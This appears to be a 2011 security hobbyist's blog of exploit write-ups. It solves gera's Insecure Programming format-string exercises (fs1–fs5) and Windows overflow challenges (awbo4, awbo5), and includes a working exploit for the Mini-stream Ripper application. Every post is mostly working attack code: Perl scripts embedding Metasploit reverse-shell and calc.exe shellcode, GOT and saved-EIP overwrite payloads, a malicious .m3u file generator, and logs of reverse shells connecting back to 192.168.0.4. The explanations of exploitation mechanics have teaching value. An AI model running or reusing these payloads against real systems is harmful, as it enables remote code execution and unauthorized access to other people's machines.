Tuesday, November 22, 2011

Format Strings: fs5

gera's Insecure Programming fs5.c

/* fs5.c                                                    *
* specially crafted to feed your brain by gera@core-sdi.com */

/* go, go, go!                                              */
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,argc[1]);

                   /* this line'll make your life easier */
printf("%s\n",buf);          
}

I need to create my own format string for this one.

First some setup: putting shellcode into an environment variable and then getting it's address and printf's GOT address.

[dennis@localhost fs5]$ cat sc.pl
#!/usr/bin/perl

# shellcode
# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

print $shellcode;

[dennis@localhost fs5]$ export FS5=`perl sc.pl`

[dennis@localhost fs5]$ cat ev5.c
#include <stdlib.h>

/* this progname name must be same length as fs5 */

int
main()
{
char *envaddr;

envaddr = getenv("FS5");
printf("FS5 is at %p\n", envaddr);
}

[dennis@localhost fs5]$ ./ev5
FS5 is at 0xbffffc7b

[dennis@localhost fs5]$ objdump -R fs5 | egrep '[^n]printf''
08049588 R_386_JUMP_SLOT printf

The %p format specifiers I'm supplying to the vulnerable snprintf functions lets me walk and read the stack. After popping 1 %p off the stack, the snprintf starts reading the As, Bs, and Cs.

(gdb) run `perl -e 'print "AAAABBBBCCCC.%p.%p.%p.%p"'`
Starting program: /home/dennis/fs5/fs5 `perl -e 'print "AAAABBBBCCCC.%p.%p.%p.%p"'`
AAAABBBBCCCC.0x8048170.0x41414141.0x42424242.0x43434343

The exploit looks like this.

[dennis@localhost fs5]$ ./fs5 `perl -e 'print "\x88\x95\x04\x08AAAA\x8a\x95\x04\xx08%.64623u%hn%.50052u%hn"'`

...

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:50056) at 2011-11-22 22:02:38 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs5

Here's the format string break down:

1) \x88\x95\x04\x08 (0x08049588) - points to the least significant byte of printf's GOT entry.

2) AAAA - filler for the second %u format specifier.

3) \x8a\x95\x04\x08 (0x0804958a) - points to the most significant byte of printf's GOT entry.

4) %.64623u - increment character output count. the %u uses the first %p value (0x8048170) from the read above.

64623 is calculated like this

(gdb) print /d 0xfc7b - 12
$1 = 64623

I want to overwrite the LSB with 0xfc7b (LSB of the shellcode address). There have been 12 characters printed already.

5) %hn - write character output count to the LSB of printf's GOT entry.

6) %.50052u - increment character output count again. The %u uses the filler from #2.

50052 is calculated like this

(gdb) print /d 0x1bfff - 12 - 64623
$2 = 50052

I want to get to 0xbfff--MSB of shellcode address. I've already passed 0xbfff with the first %u, the extra 0x10000 allows me to get back to it. There have been 12 + 64623 characters printed already.

7) %hn - write character output count to the MSB of printf's GOT entry.

Monday, November 14, 2011

Format Strings: fs4

gera's Insecure Programming fs4.c

/* fs4.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* Have you ever heard about code reusability? */

int main(int argv,char **argc) {
char buf[256];6
snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
printf(buf);
}

Very similar to fs3, except the format string is using direct parameter access. The "%6$hn" format specifier will write to the 6th argument.

#!/usr/bin/perl

# address filler for 4 snprintf arguments
my $filler = "A" x 16;

# address for the %6$hn to write the number of characters to
# printf()'s GOT address, offset by 2 to point to the most significant bytes
# 0x0804957c -> 0x0804957e
my $addr = "\x7e\x95\x04\x08";

# shellcode
# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# enough nops so that 49131 characters are printed. this will overwrite printf's base address in GOT with 0xbfff
my $nops = "\x90" x (49131-length($shellcode));

print $filler.$addr.$nops.$shellcode;

Since there is a printf call after the snprintf call, I'm overwriting printf's GOT entry to point to the nop slide and shellcode.

dennis@ipa:~/fs4$ objdump -R fs4

fs4: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049588 R_386_GLOB_DAT __gmon_start__
08049570 R_386_JUMP_SLOT __register_frame_info
08049574 R_386_JUMP_SLOT __deregister_frame_info
08049578 R_386_JUMP_SLOT __libc_start_main
0804957c R_386_JUMP_SLOT printf
08049580 R_386_JUMP_SLOT __cxa_finalize
08049584 R_386_JUMP_SLOT snprintf


msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:49209) at 2011-11-14 20:48:16 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs4

[*] Command shell session 1 closed. Reason: Died from EOFError

Wednesday, November 9, 2011

Format Strings: fs3

gera's Insecure Programming fs3.c:

/* fs3.c *
* specially crafted to feed your brain by riq@core-sdi.com */

/* Not enough resources? */

int main(int argv,char **argc) {
char buf[256];

snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
exit(0);
}


This is much the same as fs2 except that there is only one snprintf. From an exploitation point of view this means only 2 bytes can be overwritten with the short int (%hn format specifier).

The GOT looks like this:

fs3: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804958c R_386_GLOB_DAT __gmon_start__
08049574 R_386_JUMP_SLOT __register_frame_info
08049578 R_386_JUMP_SLOT __deregister_frame_info
0804957c R_386_JUMP_SLOT __libc_start_main
08049580 R_386_JUMP_SLOT __cxa_finalize
08049584 R_386_JUMP_SLOT snprintf
08049588 R_386_JUMP_SLOT exit


exit's GOT entry looks like:

(gdb) x/x 0x08049588
0x8049588 <_global_offset_table_>: 0x08048386


The stack region has a base address of 0xbfffXXXX:

(gdb) x/x $esp
0xbffffa00: 0x40016b34


Overwriting exit's base address in GOT with 0xbfff will point it into the stack.

From 0x08048386 to 0xbfff8386

I need to make sure 0xbfff8386 contains a nop slide and shellcode.

#!/usr/bin/perl

# address filler for the %c%c format specifier in the snprintf
my $filler = "A" x 8;

# address for the %hn to write the number of characters to
# exit()'s GOT address, offset by 2 to point to the most significant bytes
# 0x08049588 -> 0x0804958A
my $addr = "\x8a\x95\x04\x08";

# shellcode
# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# enough nops so that 49137 characters are printed. this will overwrite exit's base address in GOT with 0xbfff
my $nops = "\x90" x (49137-length($shellcode));

print $filler.$addr.$nops.$shellcode;



msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:58803) at 2011-11-09 19:41:02 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs3

[*] Command shell session 1 closed. Reason: Died from EOFError

Tuesday, September 13, 2011

Format Strings: fs2


/* fs2.c *
* specially crafted to feed your brain by gera */

/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
char buf[256];

snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}

The snprintfs lack 3 arguments for the 2 x %c and %hn format specifiers. From what I can see the stack looks something like:

ptr to buf <-- esp points here
256 (int)
ptr to "%s%c%c%hn"
ptr to argc[1] <-- arguments for snprintf start here

buf[0]
buf[1]
buf[2]
buf[3]

buf[4]
buf[5]
buf[6]
buf[7]

buf[8]
buf[9]
buf[10]
buf[11] <-- and end here

...

buf[254]
buf[255]

saved ebp
saved eip

Essentially, the snprintf become:

snprintf(buf, sizeof buf, "%s%c%c%hn", argc[1], buf[0-3], buf[4-7], buf[8-11]

I created 2 Perl scripts for the exploit, 1 for each command line argument.

dennis@ipa:~/fs2$ cat fs2exp_arg1.pl
#!/usr/bin/perl

# filler for the "%c%c" format specifiers in snprintf
my $filler = "A" x 8;

# address for the "%hn" to write the number of characters printed so far to
# least significant word
#my $eip = "\x6c\x42\xfe\xbf"; # gdb
my $eip = "\x5c\x42\xfe\xbf";

# filler to pad the characters printed count
my $filler2 = "C" x 63634;

# 0xf8a0 - 2 ("%c%c") total characters
print $filler.$eip.$filler2;

From the stack diagram, the first 8 bytes are filler for the 2 %cs.

Next, buf is filled with a writable address so that the %hn can write the number of characters printed in the %s string to it. The 'h' indicates a short int, so only 2 bytes of this address can be overwritten. The address points to the 2 least significant bytes of main's saved return address.

buf is then filled with 63634 junk bytes to control the character count. This will end up overwriting eip with 0xWXYZf8a0.

The script prints 0xf8a0 - 2 characters. (The extra 2 are added by printing the %cs)

dennis@ipa:~/fs2$ cat fs2exp_arg2.pl
#!/usr/bin/perl

# filler for the "%c%c" format specifiers in snprintf
my $filler = "D" x 8;

# address for the "%hn" to write the number of characters printed so far to
# most significant word -- arg1 $eip + 2
#my $eip = "\x6e\x42\xfe\xbf"; # gdb
my $eip = "\x5e\x42\xfe\xbf";

my $nops = "\x90" x 48766;

# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# filler to pad the characters printed count
my $filler2 = "E" x (49137-length($nops)-length($shellcode));

# 0xbfff - 2 ("%c %c") total characters
print $filler.$eip.$nops.$shellcode.$filler2;

The second argument script is similar to the first. Starts with filler for the %cs. The writable address points to the 2 most significant bytes of main's saved return address (unaligned access).

buf is then filled with a huge nop slide and some shellcode.

So that eip is overwritten with a 0xbfffWYXZ, some more fillers bytes are added to pad the character count.

The script prints 0xbfff - 2 characters (2 more are added by printing the %cs).

The format string vulnerabilities in the snprintfs allows main's saved eip to be overwritten with 0xbffff8a0. This address points back into the nop slide and shellcode.

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 13 opened (192.168.0.4:4444 -> 192.168.0.38:49249) at 2011-09-08 22:31:11 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs2

Wednesday, September 7, 2011

Format Strings: fs1


/* fs1.c *
* specially crafted to feed your brain by gera */

/* Don't forget, *
* more is less, *
* here's a proof */

int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];

strcpy(buf,argc[1]);
printf("%s%hn\n",buf,plen);
while(zero);
}

A direct saved eip overwrite via a buffer overflow won't work here because there are 2 important things in the way.

First is plen, a pointer to an int. This is where the %hn format specifier in printf stores the number of characters already printed. If this is overwritten with a bunch of "A"'s there will be a segfault when printf tries to access address 0x41414141. plen needs to point to a writable address.

The second obstacle is zero, a short int (2 bytes). If this is overwritten with anything but 0, the while() loop will loop forever and there won't be a return.

#!/usr/bin/perl

my $nops = "\x90" x 50;

# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# 264 bytes fills up buf
my $filler = "A" x (264 - length($nops) - length($shellcode));

# overwrite plen so that it points to zero
my $plen = "\x0e\xfb\xfe\xbf";

# 16 more bytes to get to main's saved eip
my $filler2 = "B" x 16;

# hardcoded cause i'm lazy
my $eip = "\x04\xfa\xfe\xbf";

# total length must be 65536 bytes to overwrite zero so that it is 0
my $filler3 = "D" x (65536 - length($nops) - length($shellcode) - length($filler) - length($plen) - length($filler2) - length($eip));

print $nops.$shellcode.$filler.$plen.$filler2.$eip.$filler3;

buf is filled with a nop sled, shellcode and (264-length(nops)-length(shellcode)) "A"'s.

This positions me at plen, which needs to be overwritten with a writable address. Addresses such as saved eips, dtor, gots, etc. don't work well here because %hn (short int) will only overwrite the 2 least significant bytes of whatever the address points to and this won't get me near my shellcode. I overwrite plen with zero's address--condition 1 is satisfied.

16 more filler bytes are added. This overwrites zero with a non-zero value, but that's ok. Just a note, overwriting zero with "\x00\x00" directly will truncate the input and prevent main's return address to be overwritten.

main's saved eip is now overwritten with a address that points to buf somewhere in the nop sled--like in a normal buffer overflow.

The %hn format specifier in printf will store the number of characters printed so far--the number of characters produced by printing the %s format specifier--into whatever plen points to. Currently plen points to zero and to satisfy the 2 condition zero needs to be overwritten with 0. The number of characters printed is already greater than 0, so the next best thing is to overflow the short integer by printing 0x10000 (minus characters already printed) more filler characters.

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 2 opened (192.168.0.4:4444 -> 192.168.0.38:49944) at 2011-09-07 22:09:39 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)

Monday, September 5, 2011

Advanced Windows Buffer Overflows: awbo5

#!/usr/bin/perl

# must be 1024 bytes. every 4 character blocks, atleast 1 character must be different

my $filler = "AB" x 45; # offset found via msf3's pattern_create/offset

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
my $shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

my $filler2 = "AB" x ((1024 - length($filler) - length($shellcode))/2);

$filler2 .= "A";

# overwrite main's saved ebp so that on main's function epilog when ebp is copied to esp
# the ret will pop off an address that contains the shellcode
my $ebp = "\xA8";

print $filler.$shellcode.$filler2.$ebp;


There is only 1 overflow byte to work with here. The Frame Pointer Overwrite by klog came in handy.

Some restrictions that need to be overcome:

* 1024 + 1 bytes of input are copied over the stack.
* In every 4 character block, at least 1 character must be different--AAAA won't work, but ABAB will.
* There must be at least 1 command line argument
* The first argument must contain the length of the buffer copied to the stack--1025

The overflow allows me to overwrite the least significant byte of main's saved ebp. This allows access to 0012FFxx.

main's function epilog looks like this

; copies ebp--which we control a bit--into esp
mov esp,ebp
; cause esp to increase by 4
pop ebp
; pops the address of where esp points to into eip and starts executing there
retn

I put a breakpoint right before main returns and start digging through memory. 0012FFAC contains an address that points to a chunk of input that was copied to the stack.

If I overwrite the LSB of main's saved ebp with \xA8, on main's return, esp will point to 0012FFAC which points to a buffer I control.

Using Metasploits pattern_create/offset, I was able to determine where in the input buffer 0012FFAC points to. I kept a few "AB"s (which turn into NOPs) for good measure and add the shellcode. On execution, a lovely calc.exe pops up.

Here are my notes on IDA's output:

; int __cdecl main(int argc,const char **argv,const char *envp)
_main proc near

argc= dword ptr 8
argv= dword ptr 0Ch ; 12
envp= dword ptr 10h ; 16

; function prologue
push ebp
mov ebp, esp
; stack space, 12 bytes
sub esp, 0Ch
; save some registers to stack
push ebx
push esi
push edi
int 3 ; Trap to Debugger
; copy contents of ebp+argv into eax
mov eax, [ebp+argv]
copy contents of eax+4 into ecx
mov ecx, [eax+4]
; copy ecx to 407a8c
mov argv1_407A8C, ecx
; call func() -- reads/verifies input
call sub_401065
; copy return value into ret_counter
mov ret_counter_407A84, eax
; copy ret_counter into edx
mov edx, ret_counter_407A84
; push onto stack
push edx
; push format string onto stack
push offset aGotDCharacers ; "Got %d characers!\n"
; call printf()
call _printf
; clean up function arguments from stack
add esp, 8
; compare argc to 2
cmp [ebp+argc], 2
; if less than 2, jump
jl short loc_401054
; push 10--base--onto stack
push 0Ah ; int
; push 0--endptr--onto stack
push 0 ; char **
; copy argv1 into eax
mov eax, argv1_407A8C
; push address onto stack--nptr
push eax ; char *
; call strtoul()
call _strtoul
; clean up function arguments from stack
add esp, 0C
; compare ret_counter to eax--"argv1"
cmp ret_counter_407A84, eax
; if zero, jump
jz short loc_40105C

loc_401054: ; uExitCode
; push -1 onto stack
push 0FFFFFFFFh
; call ExitProcess()
call ds:ExitProcess

loc_40105C:
; clear eax
xor eax, eax
; restore registers
pop edi
pop esi
pop ebx
; function epilog
mov esp, ebp
pop ebp
; return
retn
_main endp



; Attributes: bp-based frame

sub_401065 proc near

var_404= dword ptr -404h ; 1028
var_400= byte ptr -400h ; 1024
var_3FF= byte ptr -3FFh ; 1023
var_3FE= byte ptr -3FEh ; 1022
var_3FD= byte ptr -3FDh ; 1021
; function prologue
push ebp
mov ebp, esp
; stack space, 1028 bytes
sub esp, 404h
; zero memory location, 407a90
mov counter_407A90, 0

loc_401078:
; compare memory location, 407a90, to 1024
cmp counter_407A90, 400h
; jump if memory location is greater than 1024
ja short loc_4010F3
; copy cnt into eax
mov eax, input_407048._cnt
; subtract 1 from cnt
sub eax, 1
; copy new cnt back to memory
mov input_407048._cnt, eax
; compare cnt with 0
cmp input_407048._cnt, 0
; if cnt is less than 0, jump
jl short loc_4010BE
; copy input pointer to ecx
mov ecx, input_407048._ptr
; copy character it points to into edx
movsx edx, byte ptr [ecx]
; keep lsb
and edx, 0FFh
; copy character to stack
mov [ebp+var_404], edx
; copy input pointer to eax
mov eax, input_407048._ptr
; increment
add eax, 1
; copy back to memory
mov input_407048._ptr, eax
; jump
jmp short loc_4010D1

; read in input, called once
loc_4010BE: ; FILE *
; push FILE * onto stack
push offset input_407048
; call filbuf()
call __filbuf
; clean up function argument from stack
add esp, 4
; move first character of input to ebp-1028
mov [ebp+var_404], eax

loc_4010D1:
; copy counter into ecx
mov ecx, counter_407A90
; copy ebp_1028, character from input into lsb edx
mov dl, byte ptr [ebp+var_404]
; copy character into ebp+counter-1024, move character to stack
mov [ebp+ecx+var_400], dl
; copy counter into eax
mov eax, counter_407A90
; increment counter
add eax, 1
; move counter back to memory
mov counter_407A90, eax
; jump
jmp short loc_401078

loc_4010F3:
; copy zero into memory location
mov cmp_counter_407A88, 0
; jump
jmp short loc_40110E

loc_4010FF:
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; increment
add ecx, 1
; copy back to memory
mov cmp_counter_407A88, ecx

loc_40110E:
; copy 407A88 into edx
mov edx, cmp_counter_407A88
; compare against counter
cmp edx, counter_407A90
; if 407A88 is >= counter, jump
jnb short loc_401187
; copy cmp_counter into eax
mov eax, cmp_counter_407A88
; copy first character into ecx
movsx ecx, [ebp+eax+var_400]
; copy cmp_counter into edx
mov edx, cmp_counter_407A88
; copy second character into eax
movsx eax, [ebp+edx+var_3FF]
; compare
cmp ecx, eax
; if not zero, jump
jnz short loc_401182
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; copy second character into edx
movsx edx, [ebp+ecx+var_3FF]
; copy cmp_counter into eax
mov eax, cmp_counter_407A88
; copy third character into ecx
movsx ecx, [ebp+eax+var_3FE]
; compare
cmp edx, ecx
; if not zero, jump
jnz short loc_401182
; copy cmp_counter into edx
mov edx, cmp_counter_407A88
; copy third character into eax
movsx eax, [ebp+edx+var_3FE]
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; copy fourth character into edx
movsx edx, [ebp+ecx+var_3FD]
; compare
cmp eax, edx
; if not zero, jump
jnz short loc_401182
; push -1 onto stack
push 0FFFFFFFFh ; uExitCode
; ExitProcess()
call ds:ExitProcess

loc_401182:
; jump
jmp loc_4010FF

loc_401187:
; copy counter into eax, return value
mov eax, counter_407A90
; function epilog
mov esp, ebp
pop ebp
retn
sub_401065 endP

Friday, September 2, 2011

Exploit Practice: Mini-stream Ripper

http://www.exploit-db.com/exploits/17744/ planted the seed, but I developed the code independently.

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.38:49178) at 2011-09-02 18:45:55 -0500

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Mini-stream\Mini-stream Ripper>systeminfo | find "OS Name"
systeminfo | find "OS Name"
OS Name: Microsoft Windows 7 Home Premium

C:\Program Files (x86)\Mini-stream\Mini-stream Ripper>

#!/usr/bin/perl

# mini-stream ripper windows 7 home premium direct ret overwrite

my $filler = "A" x 26100; # via msf3 pattern_create/offset
my $eip = "\x1b\x02\x04\x10"; # push esp, ret from MSRfilter01.dll (no aslr) -- found via mona.py
my $nops = "\x90" x 20;

# metasploit windows/shell_reverse_tcp, LHOST=192.168.0.4
# x86/shikata_ga_nai, badchars: \x00\x0a
my $shellcode =
"\xb8\x83\x92\x9f\xca\xda\xd6\xd9\x74\x24\xf4\x5b\x33\xc9" .
"\xb1\x4f\x31\x43\x14\x03\x43\x14\x83\xeb\xfc\x61\x67\x63" .
"\x22\xec\x88\x9c\xb3\x8e\x01\x79\x82\x9c\x76\x09\xb7\x10" .
"\xfc\x5f\x34\xdb\x50\x74\xcf\xa9\x7c\x7b\x78\x07\x5b\xb2" .
"\x79\xa6\x63\x18\xb9\xa9\x1f\x63\xee\x09\x21\xac\xe3\x48" .
"\x66\xd1\x0c\x18\x3f\x9d\xbf\x8c\x34\xe3\x03\xad\x9a\x6f" .
"\x3b\xd5\x9f\xb0\xc8\x6f\xa1\xe0\x61\xe4\xe9\x18\x09\xa2" .
"\xc9\x19\xde\xb1\x36\x53\x6b\x01\xcc\x62\xbd\x58\x2d\x55" .
"\x81\x36\x10\x59\x0c\x47\x54\x5e\xef\x32\xae\x9c\x92\x44" .
"\x75\xde\x48\xc1\x68\x78\x1a\x71\x49\x78\xcf\xe7\x1a\x76" .
"\xa4\x6c\x44\x9b\x3b\xa1\xfe\xa7\xb0\x44\xd1\x21\x82\x62" .
"\xf5\x6a\x50\x0b\xac\xd6\x37\x34\xae\xbf\xe8\x90\xa4\x52" .
"\xfc\xa2\xe6\x3a\x31\x98\x18\xbb\x5d\xab\x6b\x89\xc2\x07" .
"\xe4\xa1\x8b\x81\xf3\xc6\xa1\x75\x6b\x39\x4a\x85\xa5\xfe" .
"\x1e\xd5\xdd\xd7\x1e\xbe\x1d\xd7\xca\x10\x4e\x77\xa5\xd0" .
"\x3e\x37\x15\xb8\x54\xb8\x4a\xd8\x56\x12\xfd\xdf\xc1\x5d" .
"\x56\xdf\x15\x36\xa5\xdf\x04\x9a\x20\x39\x4c\x32\x65\x92" .
"\xf9\xab\x2c\x68\x9b\x34\xfb\xf8\x38\xa6\x60\xf8\x37\xdb" .
"\x3e\xaf\x10\x2d\x37\x25\x8d\x14\xe1\x5b\x4c\xc0\xca\xdf" .
"\x8b\x31\xd4\xde\x5e\x0d\xf2\xf0\xa6\x8e\xbe\xa4\x76\xd9" .
"\x68\x12\x31\xb3\xda\xcc\xeb\x68\xb5\x98\x6a\x43\x06\xde" .
"\x72\x8e\xf0\x3e\xc2\x67\x45\x41\xeb\xef\x41\x3a\x11\x90" .
"\xae\x91\x91\xa0\xe4\xbb\xb0\x28\xa1\x2e\x81\x34\x52\x85" .
"\xc6\x40\xd1\x2f\xb7\xb6\xc9\x5a\xb2\xf3\x4d\xb7\xce\x6c" .
"\x38\xb7\x7d\x8c\x69";

open(FILE, ">exp.m3u");
print FILE $filler.$eip.$nops.$shellcode;

Saturday, July 16, 2011

Advanced Windows Buffer Overflows: awbo4

#!/usr/bin/perl -w

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$buf = "B" x 128;              # 128 bytes of filler

$buf .= "\x8b";                 # overwrite count so it points to ret

$buf .= "\x78\x43\xf8\x77";     # jmp ecx from ntdll.dll

$buf .= "A";                    # "A" so that the ret branch is taken

$buf .= "A" x 27;               # 27 bytes of filler

$buf .= $shellcode;             # shellcode

print $buf;

Here are my notes on IDA's output.
...

loc_401011:
mov     eax, stru_406030._cnt   ; copy cnt from a structure into eax--buf count
sub     eax, 1                  ; subtract 1 from it
mov     stru_406030._cnt, eax   ; copy it back to the structure
cmp     stru_406030._cnt, 0     ; compare cnt against 0
jl      short loc_40104B        ; if cnt is less than 0, jump to loc_40104B
mov     ecx, stru_406030._ptr   ; copy pointer to buf into ecx
movsx   edx, byte ptr [ecx]     ; copy what ecx points to into edx
and     edx, 0FFh               ; mask off everything except lsb--character from buf
mov     [ebp+var_8C], edx       ; copy character to ebp-140
mov     eax, stru_406030._ptr   ; copy pointer to buf into eax
add     eax, 1                  ; add 1 to it
mov     stru_406030._ptr, eax   ; copy it back to structure
jmp     short loc_40105E        ; jump to loc_40105E

loc_40104B:             ; FILE *
push    offset stru_406030      ; push a pointer to a FILE structure onto the stack
call    __filbuf                ; call filbuf() -- takes input from stdin and writes it to a buffer in the data section?
add     esp, 4                  ; clean up function parameters
mov     [ebp+var_8C], eax       ; copy return value--first character of buf--to ebp-140

loc_40105E:
mov     cl, byte ptr [ebp+var_8C]       ; copy ebp-140 into low order byte of ecx--character to copy from data section to stack
mov     [ebp+var_4], cl                 ; copy low order byte of ecx to ebp-4
movsx   edx, [ebp+var_4]                ; copy and sign extend? ebp-4 to edx
cmp     edx, 41h                        ; compare edx to 0x41 ("A")
jz      short loc_40108D                ; if edx equals "A", jump to loc_40108D--return path
